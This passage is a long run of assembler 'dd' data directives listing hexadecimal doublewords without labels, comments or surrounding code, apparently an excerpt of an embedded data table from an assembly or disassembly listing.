901B827h, 81F2E9FDh, 4DFE5CA9h, 4E5420BEh dd 6BCBBB5Ah, 920E840h, 29719060h, 0EC71D23h, 95C2F93Bh dd 3C879A0h, 91EDB9EAh, 2581EDD7h, 0D1AE3585h, 0CB2EA810h dd 4370CEE8h, 305DFA19h, 0E6EC7D2h, 0EF6403F4h, 4F3CE02h dd 17079FFh, 0A1D31CECh, 0DB06403Dh, 0A4A0F006h, 65B53DD1h dd 4E680450h, 8512167Fh, 605A5A49h, 58940A7Ch, 825B5629h dd 0E34051BCh, 1C7A3021h, 17A7B958h, 3AF83F0h, 338C0DCEh dd 1AEE0C5Eh, 52E23A74h, 0A1692285h, 3E3B314Bh, 0A3AF0B12h dd 665E1297h, 0C2251F5Dh, 9072C09Eh, 122D80EAh, 5A0351Ch dd 84258F40h, 0F9E82975h, 11DA0747h, 44A35D16h, 0EB5909Fh dd 6BF70DBAh, 5A8EF8F2h, 0DDE311C3h, 2A11810h, 0EE7D04BBh dd 71A48032h, 1653D878h, 0AA9C860Fh, 8468F5D0h, 0C2FB4B3Ch dd 8CAE762h, 0E97818FCh, 0DDF75A51h, 6C05ED63h, 55560BAEh dd 364D8168h, 907A5D62h, 0AE268581h, 43DAD39Dh, 0C262F7F6h dd 1B2B72Ah, 3AF1FDE9h, 169249A3h, 745ABECDh, 80C6D70Ch dd 3E8CF1B5h, 0D698FC5Ah, 89A45CBEh, 752929BEh, 0E517D7FCh dd 0FF5887E1h, 0F04889h, 0FA98FC35h, 0FD4B6ECBh, 80518BCAh dd 463DB44Dh, 4B91B85Bh, 7F24AB9Eh, 0C93F62ABh, 293B89D0h dd 305596EAh, 0A802FB25h, 7C08DE68h, 0C2E662D7h, 65B25201h dd 0E23A077Eh, 57813FBFh, 7ABDF8E9h, 6A0206E3h, 3163F47Ah dd 8420E25Bh, 180E490Bh, 98630826h, 94B00820h, 3B34D327h dd 0DACD978h, 4A780B23h, 3A14B174h, 0C61E89Ah, 517B99E9h dd 885B1AE0h, 13194F4Dh, 2046AB5Ah, 675BE41h, 847B42C2h dd 8C020C38h, 1B2272Ch, 0B6D2D7D6h, 3FF5520h, 80359AB8h dd 92294869h, 22A7807Bh, 81D46CBDh, 525FB1B3h, 953F07E0h dd 4B010A24h, 6197521h, 2BA52535h, 23CB99ADh, 0D3572B42h dd 0E6AC24h, 47AE7FEAh, 0B8E9820Fh, 52E6DA3Ch, 1C62A2C9h dd 60529AD5h, 0B073B541h, 5FD9BD71h, 3A8018BCh, 246BBE10h dd 132F8128h, 0E731B4B2h, 37526C04h, 54C14F75h, 0B96A400Bh dd 7A1AB3F5h, 27D22FA3h, 458917F9h, 4B0BFA70h, 0C40DFC14h dd 0F12114Dh, 6BE025EFh, 76557535h, 90BC7B5Bh, 68A3B04Fh dd 4784285Ah, 9789A6BAh, 0C39E8AD1h, 30A64669h, 38DAB800h dd 70D6A63h, 5E6C13Eh, 0DE710C4Eh, 134A682h, 41CC5655h dd 0E6FEFB81h, 3635042Bh, 168BFFA0h, 0A2F389CFh, 0CAB9C623h dd 0AD350724h, 0A3D468F5h, 5A273C63h, 0AEACA659h, 0BF5A9F33h dd 0D41C8E90h, 152EF9Ch, 2729FEB4h, 617E173Ch, 0D8DDE941h dd 5C834128h, 0C2C3E39h, 1A168DC5h, 0B5930A0h, 71E9C331h dd 27906C70h, 22CC801Ch, 0C035ECC7h, 0C4FE0731h, 4073876Bh dd 58E32802h, 0F3F0D3F0h, 0D80B4F78h, 0F0BB045Bh, 0A7FA22C9h dd 68D8C08Bh, 0AFA2C21h, 0FEB8095Eh, 44372BC5h, 0AF65E086h dd 890398h, 1B753C2h, 1BB15150h, 0FED1F60Ah, 0F416C1C1h dd 4BA07254h, 0B171D1BEh, 43468D48h, 0BAE87D54h, 8E9183h dd 174F6DB7h, 0F890DA29h, 1C5F0883h, 0ECB312FBh, 0AC9FB103h dd 6846206Fh, 0F2E1873h, 0E019846Dh, 0C12ED0D3h, 9D4803F9h dd 6889D10Eh, 0D5E4FD30h, 0D33F4598h, 0D50F2D16h, 0E9065F21h dd 15126BADh, 3E65204h, 0E74893C0h, 1FA13EBh, 0B0E8E8F7h dd 2F5B5FF9h, 0F341FBE9h, 0A0986E66h, 0B80D4A27h, 8D24DDD2h dd 5172029Eh, 54D35551h, 0A75BE904h, 0EFD247E9h, 0AC9677E2h dd 0EF445BF0h, 5301AA2Ch, 89176D68h, 5D0EB94Dh, 0F01CC118h dd 0D886E6C7h, 7BB181F4h, 14CFB22Eh, 0CB972ABAh, 0BF52C854h dd 4338066h, 0E03E797h, 1E15B568h, 5C8F2D78h, 386BF845h dd 95CA2136h, 90A0B9F1h, 8BA55659h, 570E0989h, 29469CEEh dd 0F597A34Ch, 12753490h, 7455669Fh, 341C8BBFh, 0CC87D988h dd 0EC655059h, 0BFFED5FFh, 3DF59500h, 4AE1E951h, 1022FABEh dd 13897467h, 8DCEFF5Bh, 2D5F523Fh, 0AD583487h, 0BFCA549h dd 0DC9C6876h, 0B04CC4A8h, 8224BE39h, 263D6E78h, 71A06D3Fh dd 80DB5020h, 2E4C3086h dd 2F3B923h, 495E1232h, 0EB63E155h, 4E810844h, 0FB059DB2h dd 5447BCA4h, 6015C132h, 0C58160D9h, 0E52653C3h, 8E02D636h dd 0DF31B73Eh, 6081A28h, 32D604E9h, 0BE665607h, 744B1AB2h dd 63582D6Dh, 0B1223C9Ah, 0F7D29F4Dh, 0E9646505h, 62FD8573h dd 804FF55Bh, 8637EB0Ch, 90C70174h, 629909DCh, 0C2D41D8Ch dd 0B37FD58h, 79E9502Ah, 0EB2CC85Ah, 21090E05h, 0DF9ED5B1h dd 58295020h, 67121A43h, 992DAAC2h, 18854CD5h, 0EE5A5E57h dd 0E72C56E3h, 3C762D3Dh, 77E1F6C2h, 94425754h, 97D45D01h dd 7DC6D2E2h, 6AE51018h, 2016669Fh, 5201B96Bh, 6405BB53h dd 0C0B81022h, 56B61F01h, 7D027EE9h, 1AD60289h, 7EF75FCCh dd 0FE03189Bh, 22D01EB9h, 60AA0ED9h, 0CAE94206h, 21FD4ECEh dd 81C237A9h, 0BFBD0419h, 11F93BCh, 0C75E0DE8h, 0F2EC2B42h dd 0F22960E9h, 0B7CF0180h, 0FA960D45h, 3AB82813h, 0E771AB5Bh dd 5DC238E0h, 0FC0B7DCh, 0B2ED2E8Bh, 755C2647h, 1ABCA884h dd 0E5D1885Ah, 540F5E75h, 56B65495h, 9FA8BB20h, 69FC04C2h dd 5AE7F525h, 89EB73A5h, 0D0D04EE9h, 2C9ECB6h, 557950A2h dd 72FCCE98h, 32EE3BFFh, 63694D4Fh, 2EBF715Dh, 69CF1B98h dd 0D676FF3Bh, 0FF22CA2Fh, 14F7C6C2h, 786C20AAh, 4BF46813h dd 22CB3D61h, 0E78F258Bh, 1933B6D5h, 22D9D8E9h, 0A9616E5Ch dd 3B817ABCh, 0CF79CDF1h, 21EB400Eh, 1A58752Fh, 82BD2250h dd 405EC09Fh, 0E1888090h, 5975CEE4h, 0B0A0F74Ch, 95B2B0E9h dd 7520FFE6h, 0F8312592h, 807DE57Dh, 7C4FD1C6h, 40ED0103h dd 0F47B0BD3h, 0C50F2A98h, 38CC1B20h, 32B9A60Ch, 0D3FED9BBh dd 951794F5h, 6818FE16h, 0BB9D4031h, 3A3EBCFEh, 0E4A8480h dd 68B95157h, 3D0A4812h, 9AE4300h, 4C0156A8h, 841D0CBh dd 0EE10B929h, 23350320h, 4A3ED86Dh, 608CBCB6h, 267D82BCh dd 7C2BF53h, 0DA738B57h, 0C7516D0h, 1717AB30h, 0BB0C84FBh dd 98BB9034h, 3AF562D4h, 0AE98FEE9h, 0F5051E6Fh, 2EECE933h dd 0F20965D2h, 0C51A203Ch, 0F6C05926h, 439D903Ch, 2F845762h dd 0DE642F7Dh, 772ED15Ah, 0D40A9685h, 7F23AC34h, 92943825h dd 0A8C05FE6h, 0D5B6286Eh, 0A9311180h, 0FDCD293Ch, 5250066Eh dd 0C0BD52EEh, 4AFB80F9h, 53CAB81h, 155F975Ah, 50A8F6h dd 4EE6203Dh, 19DFC7B8h, 95E9B109h, 0C6F420DCh, 2D61211Ch dd 30578951h, 9206BDE9h, 367503D8h, 0D3F71088h, 8436EBFBh dd 1212ACE3h, 58B3E952h, 0F57C0C9Bh, 75EA5FC9h, 6F5B15E1h dd 0C6002BACh, 0FDADF70Ah, 39A4F389h, 76700504h, 84BB6819h dd 0A80712DEh, 6309101Ah, 126C948h, 8F3B60CFh, 5E953229h dd 6F904D3Eh, 11017912h, 322D4EF9h, 0C08C66ECh, 89DC245h dd 5D3B4C41h, 5C02AF83h, 316678ACh, 0E7BF56D3h, 0C46B706Ch dd 8845DF64h, 0C3EC57A7h, 0FC0FB62Dh, 27CE31F3h, 6DC3A412h dd 851F2002h, 0C2908566h, 28A80716h, 0CC6584Ah, 0C8280638h dd 575CA61Dh, 9569283Ah, 0BDFF73Ch, 0DDF911E9h, 0CAA99014h dd 97F82EC3h, 3D25EB5Fh, 23E3BE00h, 5F01463Fh, 8129E0E9h dd 530B42EBh, 4AC0D866h, 0E95B038Bh, 40415BCCh, 0EC6EF356h dd 61F8B463h, 81E1535Ch, 3C3F46A4h, 0D8F7C343h, 1C29056Fh dd 762DE9C2h, 90F2AD3Fh, 0D012FC69h, 0FEC9043Eh, 0C140D61Bh dd 0D89BFBB8h, 9625E9C0h, 52A3DFDEh, 2B9F783Eh, 0E22B2E5Dh dd 0FD2A980Bh, 0D3CE4480h, 5548DB3Dh, 7402773Bh, 0F3319D40h dd 17C9775Eh, 4E0D6825h, 0BAA452A8h, 26635661h, 41788734h dd 883E88DBh, 0C32D010Fh, 2FB6566Ch, 473E55C1h, 1278405h dd 0CD1DF6A0h, 0FB8D302Bh, 61075A14h, 3D0905C9h, 0C0EF353Ah dd 59C768A0h, 7C602DBCh, 2182504h, 0E40CB81h, 0F603F30h dd 758AAFF1h, 38080FCDh, 0C4C6583Eh, 5FFC21BFh, 9A394068h dd 0A30C3113h, 26CB447Ah, 5624FA4Eh, 0AB9484BEh, 49C89DD1h dd 82333D93h, 627F2938h, 0FBE855F2h, 65BFEF01h, 0DE318C5Bh dd 89E98930h, 46380CF8h, 32B00281h, 0EFC10528h, 0D284A960h dd 0A32E5881h, 0BE089879h, 0D75A00C0h, 880F4E09h, 0FF4DFD8Eh dd 29C5F472h, 0AFA8B1EFh, 0B4827D0Ch, 5BD65AE9h, 0C2CA7C2Fh dd 5507AD5Bh, 0C6E12164h, 12FEB73Eh, 0D413782Dh, 0B5EC7D21h dd 5D8A5207h, 5A2ED2FDh, 0F6F0C3A6h, 45B0A5ECh, 1F91AAC0h dd 79F07EEFh, 4BEDF611h, 0C427FC1Fh, 212E729h, 0E6885212h dd 0C0847C77h, 6BE38058h, 0B0820F09h, 850DBEDh, 22C3B4E0h dd 0EE9B6E76h, 9A00FA69h, 0F072AFCFh, 0C0824C6Bh, 4CBDBBA7h dd 0E05AC052h, 75950579h, 0F000FE0Fh, 0FEF9F6E9h, 4FED28C2h dd 0CB41E13Dh, 5F211E0h, 0A4E94B61h, 0F18EAE88h, 0A84F5B7Eh dd 5409DE27h, 4A32DDh, 80CCB5A9h, 0E9D60FF5h, 9DF26430h dd 628DF13Eh, 30EF0E41h, 29DD4276h, 0FE3A94FDh, 0C842D762h dd 857936B6h, 584C0AF5h, 0AB3E5951h, 11B06431h, 8593472Bh dd 83F19205h, 0B8C2F9A5h, 0EA2D7ACAh, 65DF51C0h, 4B1DECF3h dd 314F25B8h, 2C469172h, 0F019EB4h, 0B76BE934h, 0EBEE9D97h dd 65AA8CC4h, 80F3EA4Fh, 2B59E9A1h, 55B72C07h, 12EFFD04h dd 44FF16B8h, 0EAD089D8h, 0A35ACE04h, 83EC5C0Fh, 0F79040CFh dd 7850120Fh, 0C159D3Dh, 15A412ABh, 7E068BBBh, 0FEC27F16h dd 0A23A31BEh, 0C5152C59h, 8EFA22DBh, 30A558BCh, 0F6803EC9h dd 0F03016EAh, 0CBE0F95Ah, 0C07910h, 6CAA3643h, 0A25F860Fh dd 5F125416h, 0C23B920Bh, 387B751Fh, 44FC9209h, 897D97E5h dd 0E153DD58h, 9C0F2CE2h, 0DCDD207Bh, 18440126h, 0EC1FFCBh dd 0AB853058h, 34481443h, 0FED20309h, 3053D2E9h, 0E04169C2h dd 0CBE3E36Fh, 9573D05Ch, 0C3710B7Eh, 62DAB82Eh, 0D519E942h dd 45753889h, 725A14F4h, 0B2535084h, 17AF4B8Bh, 0BBDCC18Ch dd 47850508h, 2457D882h, 9DD6AC2Ch, 4AC201E0h, 5EE93FD7h dd 0E20565BFh, 51C9657h, 0EB139AC7h, 0FF04EA07h, 0F7BB0293h dd 0D9E9C3B9h, 0DD5949CCh, 0BFD4363Bh, 0BFC9837Ch, 29D32491h dd 0A960EE41h, 0A75A008Bh, 2DCBBA06h, 0E91330C1h, 0CDEF1EB9h dd 53520825h, 90075B8h, 0BB767915h, 542C26C3h, 4C31CED8h dd 34B6CD9h, 0CB29660Dh, 32F94BC1h, 70350407h, 9FF0BBBh dd 14616731h, 386652B8h, 0EB015344h, 607F1024h, 7882FB01h dd 640F4C1Ah, 0C268FEE2h, 6E12FDBFh, 0CE006081h, 4505C13h dd 12E61DBEh, 0E20EE731h, 0FC84FEA9h, 0BFC1369h, 56067202h dd 0A27DEA01h, 791FE04Bh, 97DEAFA4h, 53CFFE2Dh, 8BE97DE2h dd 46FE205Dh, 0E4BC24D3h, 0F3DED9C6h, 69F1E71Ch, 89FE5EDBh dd 0E9D8E521h, 9CE94C8h, 0F175E689h, 0C87589Ah, 0AD94D597h dd 5724C342h, 5C7A0157h, 685B0686h, 850F069Bh, 9790CFBFh dd 0E94138D7h, 0BD7ABFB5h, 0E69D7FF0h, 0D7C92D57h, 5E6B307Ch dd 7894BE3Fh, 6480A59Ch, 555410B1h, 295D5B17h, 4333EE0Ch dd 5D905AFAh, 0A779CB84h, 0BA92C07Ch, 4ABE0A50h, 0FAB448ECh dd 0D2E2DB05h, 63BDB424h, 0B294E04Eh, 4A2089B0h, 9D8BB215h dd 0E96FBDFEh, 95A2F0FBh, 275D9C94h, 1A5A3B3Ch, 40262677h dd 801E3F99h, 0A00FF381h, 841C2253h, 0D1C82E8Ch, 9FB301EBh dd 5F891772h, 35452A20h, 0F940CEC1h, 0B9E1EEDh, 0E82928B5h dd 5F80089h, 4AFC1603h, 0F44995E9h, 2D31042Ah, 0ADAC6C9Bh dd 2592A84Ah, 97397778h, 3F02651Ch, 658F4005h, 3ED4C9BBh dd 4186C8F2h, 514A2EE8h dd 0B5B297BBh, 859B023h, 805BFA07h, 0EA335DF2h, 7AC2B006h dd 0BD2B71E9h, 1A6C353h, 55EBCFA1h, 54AD2B47h, 0BEC2E467h dd 0CB249E1h, 0BD411A24h, 37876BDAh, 6AC507B1h, 73BFAF40h dd 0C77A5033h, 0D3BE5AF1h, 6154B2Ah, 24D749E9h, 2419CF51h dd 57FD6862h, 0AA13A966h, 0C58840BCh, 0D6685958h, 7981469Fh dd 6B0D3952h, 0F2E92204h, 7BA2F760h, 16841732h, 2B065D64h dd 449D5580h, 2EF22015h, 96695995h, 522AC351h, 344F85B1h dd 3DC462BAh, 8DEB9B68h, 2C7DE016h, 826F8296h, 6136C625h dd 457ED5A3h, 0EB1D9374h, 67266DB2h, 28E985F0h, 0C16694CBh dd 0D4E38008h, 472C6856h, 0BDC0AD76h, 28B26B1h, 0D953BF03h dd 4EF4FC74h, 609F7C04h, 35804FC0h, 0E5504FDFh, 1C080682h dd 70511482h, 5889DA49h, 6925FB56h, 68E7AD18h, 790EB62Ah dd 0DAD6E917h, 41E182CCh, 0B0016B3Fh, 3D1E7FF8h, 0A37E856Bh dd 102148F0h, 354C4DC5h, 7DDEC825h, 0CD242753h, 66554E41h dd 0B1257CF0h, 9527E8C1h, 50F62570h, 0EEE567AFh, 0E037AA2Bh dd 9033DDC9h, 50026000h, 100449B0h, 70C34C28h, 0FDE0BF20h dd 565A5EEh, 0C7D4DEFFh, 7E63BCAAh, 26FE902Dh, 41C4379h dd 0FA840A0Ch, 9687FD09h, 286B2845h, 48E68BBFh, 55B501E1h dd 8CE96F4Ch, 813B2879h, 2A263EDCh, 5FA03D6Ah, 4C646807h dd 72F44FF7h, 0E36F0EA8h, 1F1F1DA4h, 7BB44056h, 7E2A0EF6h dd 0F1412089h, 7FF9015Eh, 16B8E414h, 6DB51AEAh, 0A42B04DDh dd 14B51C11h, 0C0329F5Eh, 1FD8E15Fh, 0F94EB168h, 9FBE501h dd 0F4F40EDEh, 0A730A7CAh, 183CBE56h, 0B2190638h, 6D253115h dd 9DC15051h, 0B3094589h, 5C5B22D8h, 56AD38BBh, 0A45CC940h dd 2033B4F2h, 4EB309B1h, 6D800B2Fh, 0F0ABE901h, 0C3F0F195h dd 9913F568h, 8547CE9h, 5AEE00B7h, 685046E3h, 5BE5ECD1h dd 4B178A41h, 33828281h, 0A25FD26Ah, 0E6B73658h, 0E4883DCDh dd 0C05CC26h, 0CE2B4C61h, 0ED3EEF41h, 60BA8E9Fh, 0B913092Eh dd 310BCC5Eh, 0BB022D84h, 12ADE72h, 1A16C1C8h, 0FC0AD3Eh dd 5C89515Ah, 0A1FAC0F5h, 9AF82A95h, 5320E09Ch, 8A489711h dd 519746E4h, 0BC7CAD2h, 69100EA9h, 183D5517h, 0E38A983Ch dd 12A4F317h, 706526Dh, 262C018Ah, 34000C7Ch, 531CD717h dd 17255B58h, 17B62F5h, 0E907E06Bh, 7B68256Dh, 0C3F21BECh dd 28269CDDh, 954A09CCh, 0DA2A1075h, 8BFE5FD7h, 68DD621Dh dd 2020D25Ah, 55976CDDh, 0C2D56E29h, 0ACA27140h, 4C0C38EDh dd 0C80C35C1h, 45261E18h, 0A9D21030h, 0F3287CE5h, 7061FB5Ah dd 9089B947h, 2F84E4D0h, 66B2AA1Eh, 0FEDFA182h, 0AB60E921h dd 65F4C93h, 0EB0609C8h, 6BBAE207h, 1BB41D69h, 5B2458ECh dd 8A5E0802h, 4DB2C00h, 0EDF02876h, 7F8BB7D3h, 0B24C8316h dd 7FC1050h, 0AB4DD15Ah, 0C2FF1553h, 0BDD22938h, 35521EFEh dd 4E6204B9h, 96EE722Ah, 0CD26A87Ch, 0C344642Ch, 58E6FCBAh dd 44AE5A08h, 0EF3FDB18h, 82C876DCh, 0FF04CA2h, 0C1F78902h dd 0C507BFDFh, 0AF4A9492h, 3949B4CAh, 2E0B846Dh, 74A7E701h dd 0A86A08B5h, 84EB4BC2h, 751C8877h, 0F02DA694h, 0C4AE4B6Ah dd 5FFD80C4h, 0DAE7264Bh, 16C570DDh, 602B06E9h, 3CB96824h dd 5C2D2292h, 200290Fh, 40173D88h, 676D68E4h, 79782577h dd 3CBE5A7h, 57D14D7Bh, 0F714AD49h, 0E9064415h, 0B62EDC07h dd 74474FD1h, 0E6CEAB6Eh, 54BA11F8h, 3119BD80h, 0C3832F50h dd 2E304DF8h, 8A4B0C54h, 0E1154F7Bh, 0E6A36F2Ch, 4CDFA214h dd 822E0C07h, 0C7F7B108h, 0A73068FEh, 77A1C8D3h, 47F51231h dd 435F869h, 1BBD73D3h, 564F1781h, 2E5164CAh, 25B04AE9h dd 0A8C4B67Fh, 9FF8D208h, 21E3297Eh, 0E9130AF9h, 508392FEh dd 0B5A6853h, 268C3085h, 0FDF09557h, 0B7BF4B40h, 8295EE72h dd 96A967Bh, 0FED40FC3h, 8E44C784h, 4283D187h, 0EB6B0B84h dd 8A8F47CEh, 8322E67Fh, 0E388535Ah, 3EDCADCAh, 0F6EFE192h dd 6598F5Eh, 803F3997h, 283C50B8h, 48C4D88h, 3246068Dh dd 84E905C1h, 880F8690h, 0EDB6757Dh, 9383A62Fh, 0A2C263E4h dd 4CFE7791h, 87EB096Eh, 0D305BE01h, 0A4E91980h, 0FB1AD710h dd 56036D16h, 8CFDDD56h, 4E20CAAAh, 470A40BBh, 0C17F6D0Dh dd 5E06E525h, 0B9AA0AD8h, 4369A74Eh, 87C13C52h, 0FFCB015Ah dd 0E99C16C5h, 5B8D8725h, 9317963h, 0CA87410Ch, 6BE34A0h dd 2E5AA488h, 65BB9FF0h, 0FE5B3A11h, 6CAFB105h, 7CC144FCh dd 3F3F5C49h, 0CDC35544h, 55852AD2h, 0B9FD1289h, 175DF54h dd 4154B73Fh, 3A10F3C9h, 6809AC53h, 0D976561Fh, 0A7463E61h dd 3003E750h, 0F3509E3h, 5439C85h, 0CA8C4A08h, 2F9920C5h dd 0B1D45C53h, 0AF4A5EC2h, 8DDC142Ah, 907F285Dh, 99B2E9B3h dd 35EDA9C0h, 4A3D661Ah, 24E2B889h, 2F4790CFh, 0E0F180B8h dd 93CD15Ah, 5359CA01h, 5B64CEBBh, 0F4EBDAE3h, 0B8E904F2h dd 0B0F1E433h, 5902669Ch, 7F74D468h, 8A313A65h, 0C510A077h dd 7DFC47B2h, 0AF800F1Eh, 59E451E9h, 0CB5B73E9h, 0FBED1794h dd 0C2EFA229h, 0BBD9C851h, 786F241Eh, 16F30197h, 3029D204h dd 2C1DE93Dh, 0F6EF2FEBh, 15650465h, 1EA28114h, 980128ABh dd 2460641Ch, 1095408Dh, 192575F9h, 72B212FAh, 0CDFC5EA4h dd 547F6194h, 78EDEE4Eh, 69DECB4h, 711A0330h, 92A6129Eh dd 0D6DB04FBh, 0B3D5EAE9h, 1A149BFAh, 759DB6E9h, 28732554h dd 0BF465C0Dh, 99E94368h, 0BD5168BAh, 1FE3B1Ch, 1360BCBh dd 295E3EBh, 87B1E908h, 4151C5FFh, 30E8305Ch, 9941FB60h dd 13768B3Fh, 0D5E373BFh, 0BF812E14h, 40B72DC0h, 2AEB3C59h dd 0A5641EEFh, 16EE05Dh, 86E913C8h, 0E1D789F7h, 2EC63865h dd 0EB097A5Dh, 8489A1D1h, 0CA5C831h, 27CF66FDh, 39775598h dd 0FF2F5738h, 0FE598B4Bh, 9FB38C1Dh, 3C03C7FBh, 14F7108h dd 4DA74DFh, 0E90B0C53h, 3858A138h, 54CE5E9Eh, 0D25FF813h dd 0E75D56A4h, 0B275A5EBh, 0D4C17DB5h, 0E4FD6BFEh, 163BAB84h dd 0F53E40EFh, 48BB58DCh, 2710809Fh, 0B809E474h, 0F6C42064h dd 78CB292Fh, 920EF420h, 0D269F15Ch, 177F4D9h, 0A920F987h dd 416A130Eh, 0B0E1AC4Ah, 136B5C68h, 4BC1E913h, 0B3055FD1h dd 5113434Ch, 53A103B9h, 0E20F7430h, 0BECD40h, 49F9726Ah dd 0A6CE681h, 126C2F5Ch, 89C5C5Fh, 62CEF8CBh, 2CB518BAh dd 3B19075Fh, 0A7F021B4h, 68560951h, 85801FEAh, 0FCF6815Eh dd 7ADA6113h, 0F8D0B71Ch, 5386284Bh, 0B6C0499Ch, 0BDB00475h dd 7BE9D058h, 0E9C430FCh, 4F12AA20h, 4A2A7BAh, 0A95B05B9h dd 0B307F6C4h, 49678237h, 0C4BC6D62h, 1F6A2D61h, 508D3AA0h dd 315B2132h, 0F9965CECh, 59DB589Fh, 0C59501Bh, 2CAA2AF3h dd 53168680h, 5CFE2DCCh, 5C9ECB1Ch, 401D827Dh, 982670F2h dd 4E2C6E8Bh, 0C66851C0h, 0A2ED16Fh, 962E6559h, 82573E3Ch dd 3E367909h, 3D68555Fh, 65F646F1h, 3FE1335Eh, 0EFD043Bh dd 2BE68DB7h, 0BE8344EBh, 0D4BFFDE2h, 40730487h, 82541EA4h dd 25B88726h, 5DEBC27Dh, 9CE2395Ch, 1598DD59h, 0BDA92532h dd 98AC3FD6h, 3B9AF6C0h, 0CE907E4Fh, 7BB76B0Bh, 58D98797h dd 2F53F336h, 50FE575Eh, 828D5950h, 68174CC4h, 0F0F80373h dd 2A76F5B5h, 0E91696BCh, 318C4D47h, 9862E22Ah, 952864D5h dd 8C9315D5h, 0E931DE01h, 23F2432Eh, 0AF907D90h, 7174AA5Eh dd 2D6CE3EAh, 7C178B45h dd 0C840C47Ah, 0A05CEDDDh, 0D19D2FE3h, 20DD9DFAh, 89B676BDh dd 8DDECDCFh, 1A418060h, 1A8B010h, 16435705h, 7AE1F0E9h dd 0BFF8C239h, 3759B576h, 0AD128BA8h, 0EE1DA266h, 0BE017DD0h dd 411B2AE6h, 3B5B2109h, 13121F16h, 0DC3B44B8h, 0FD492996h dd 5FB31662h, 137C2D0Dh, 181FA26Bh, 31150467h, 27ABDFAh dd 0E7B88776h, 0ECBC244h, 7CB30D8Fh, 6617E3C0h, 0F096571h dd 7F633A86h, 7AA5C6EFh, 0F9064F7Fh, 45560199h, 0D4E972FFh dd 0B2DF002Eh, 0F3F28012h, 0DD6AE295h, 16715240h, 0A3AB1ED3h dd 207394D0h, 547E953Eh, 1EEC6884h, 46CB17B8h, 56B7E278h dd 0E5DC0B0Bh, 9054489Ah, 34EB6861h, 2EFA316Eh, 3B15ED16h dd 8AF25AACh, 2FBE9ED4h, 14A85FEAh, 1BDF08A2h, 4398AC20h dd 3B5EBB0Bh, 0B1EE535h, 5B6018E9h, 5078C229h, 187A022Dh dd 82A20D29h, 5DFB1677h, 5B8FEA87h, 0D9543A90h, 5E3994A5h dd 0E90D3FF9h, 0D4268BB4h, 0C3B6B09Eh, 90BD31Fh, 16D152D1h dd 161F957Eh, 8562F2DBh, 0C6C4D729h, 5A101319h, 44607FC6h dd 8C4B5789h, 0B5680588h, 5A84688Eh, 510DE50h, 29E74AF3h dd 40A7F6AFh, 7716E90Ch, 3390FEFBh, 0A91C7A68h, 1B891BC6h dd 8C07F231h, 0DAE5A2D2h, 588BDE0Bh, 0A4C1FB78h, 7428E0Fh dd 50CA8981h, 6070C40Dh, 2D451C7Eh, 103CF36Bh, 5A02527Bh dd 42E28B0Fh, 0F5D6A6A2h, 64FDCF6h, 73FABC6h, 317433C5h dd 2EDE054h, 1F258A0Fh, 0E1B85F7Bh, 0F2F72409h, 5FA03401h dd 63DB1499h, 0EF162AABh, 0D16865AEh, 6B0E280Ah, 524B0D8Eh dd 0CE9BB7F9h, 6801500Bh, 393B6BD3h, 0E4DA205Eh, 15E71F13h dd 7077C305h, 7D41BB0Bh, 0E91AFCECh, 5582821Fh, 159308DCh dd 2709EDB6h, 6FF924Bh, 480D2308h, 0AA1C1331h, 6DD52715h dd 6B6806C4h, 3926AB42h, 58935FA3h, 4BB77407h, 86880B2h dd 25F728B3h, 16DFEAFDh, 7EBCC298h, 6C77308Dh, 8C0500C3h dd 2D2AA04Bh, 82480B73h, 0E70F133Bh, 680AF5F7h, 406E4E96h dd 7830488Dh, 11E78107h, 0E9225D0Ah, 0DB4B5FCDh, 2912DEB1h dd 6D0B02F1h, 0F5214458h, 0F27670A7h, 755E5DA4h, 9C5A808h dd 4A58E2C0h, 0EA30C776h, 30140C03h, 8DE924D1h, 0E8868318h dd 858DDF6h, 108A3FF1h, 0C112F3EDh, 0A14809E6h, 7C9D8A7Ah dd 200B1352h, 16B3C2E2h, 0EAA4E75Bh, 6F290505h, 0EAB98C0Fh dd 0E7BF0912h, 0D89B8B47h, 0F35BBFC7h, 8A5D9CBh, 0E1274893h dd 81358608h, 95FC1635h, 0AF4ED6ECh, 0AFB0AF87h, 0B3ACDD57h dd 974B08FBh, 4077E225h, 2532C649h, 0F25C0E3Ch, 48A8CC30h dd 0D15C4C96h, 107DAA07h, 0D1E3CF2Eh, 0CBE9324h, 877ACD0Bh dd 0F080D754h, 9478232h, 0D70F7597h, 2E198E1h, 0F86AE2E9h dd 6FD57240h, 0C9A9D883h, 2B5E97FEh, 0C8F40052h, 2C42D46Ch dd 1619D0F7h, 0EB8AFBD7h, 0CB46572Ch, 96AD29D9h, 76576539h dd 0F47F90DAh, 84D2077h, 4974CC3h, 6FCF3B23h, 0EEA788EAh dd 5F793E18h, 5452E913h, 9CDFD5Eh, 7A4E51E1h, 4F7B0680h dd 7DB844A9h, 0A72F7478h, 903478C4h, 0CC024B0Ah, 9BFA287h dd 3E3273CDh, 6FB1F62Ch, 6B142006h, 594ED09h, 0FEE9E04Eh dd 2B540B7Ch, 73C3EB29h, 30501BB0h, 13ECE916h, 0C9028FAh dd 113E5D97h, 6FBE0E30h, 3B2563F6h, 0CE0217E2h, 2C765A20h dd 11C9A262h, 31AF7066h, 0CEF8D84Bh, 0BCBD1786h, 3D556EB5h dd 0FC732C8h, 1388CB89h, 1D0E28FEh, 0C7583B40h, 5655E018h dd 0D9889C12h, 719DDD68h, 693BE64h, 56AEE4CFh, 0D32700B4h dd 3500A400h, 0A1B2F818h, 0BA04D0ADh, 6EC2F3D4h, 0D2F0098Ah dd 2B736814h, 0FC038938h, 237C2D72h, 7ABCC1E5h, 6BDFBD00h dd 0EA21698Fh, 0DCACFA0h, 26D60E01h, 6F97870Fh, 0AE4B1C32h dd 660C691Dh, 3E801661h, 9A27ECEAh, 6C555642h, 0D65D580Eh dd 80842A26h, 0B02E1868h, 2D045871h, 0FB19C8C7h, 0C00ED1ABh dd 4A010238h, 0F66E8997h, 0A377AFE6h, 2F445DADh, 89D7EA8Fh dd 0F284F587h, 776609B3h, 0EB79C127h, 0C7914D6h, 81F0DB02h dd 685A449Eh, 0C02FEFB3h, 0FA5FC645h, 29289A3Ah, 7F41FCF2h dd 92B4AD20h, 0B1D6B525h, 0B8BA03DAh, 0B12A1DFCh, 52F9D2E7h dd 5439FB1Eh, 5BE9B23Bh, 77E0FF10h, 133F19BCh, 4944AE55h dd 8003ABB3h, 0CB83DEC3h, 6E146DF9h, 0F7C57B8Ch, 0CF84C9BAh dd 8356481Bh, 0C2F9337Ch, 59FB24B0h, 6ECA055Bh, 6E90E909h dd 10BB9857h, 17C2A493h, 5D3210Fh, 0FC54B95Dh, 0E006C50Bh dd 6882FEA8h, 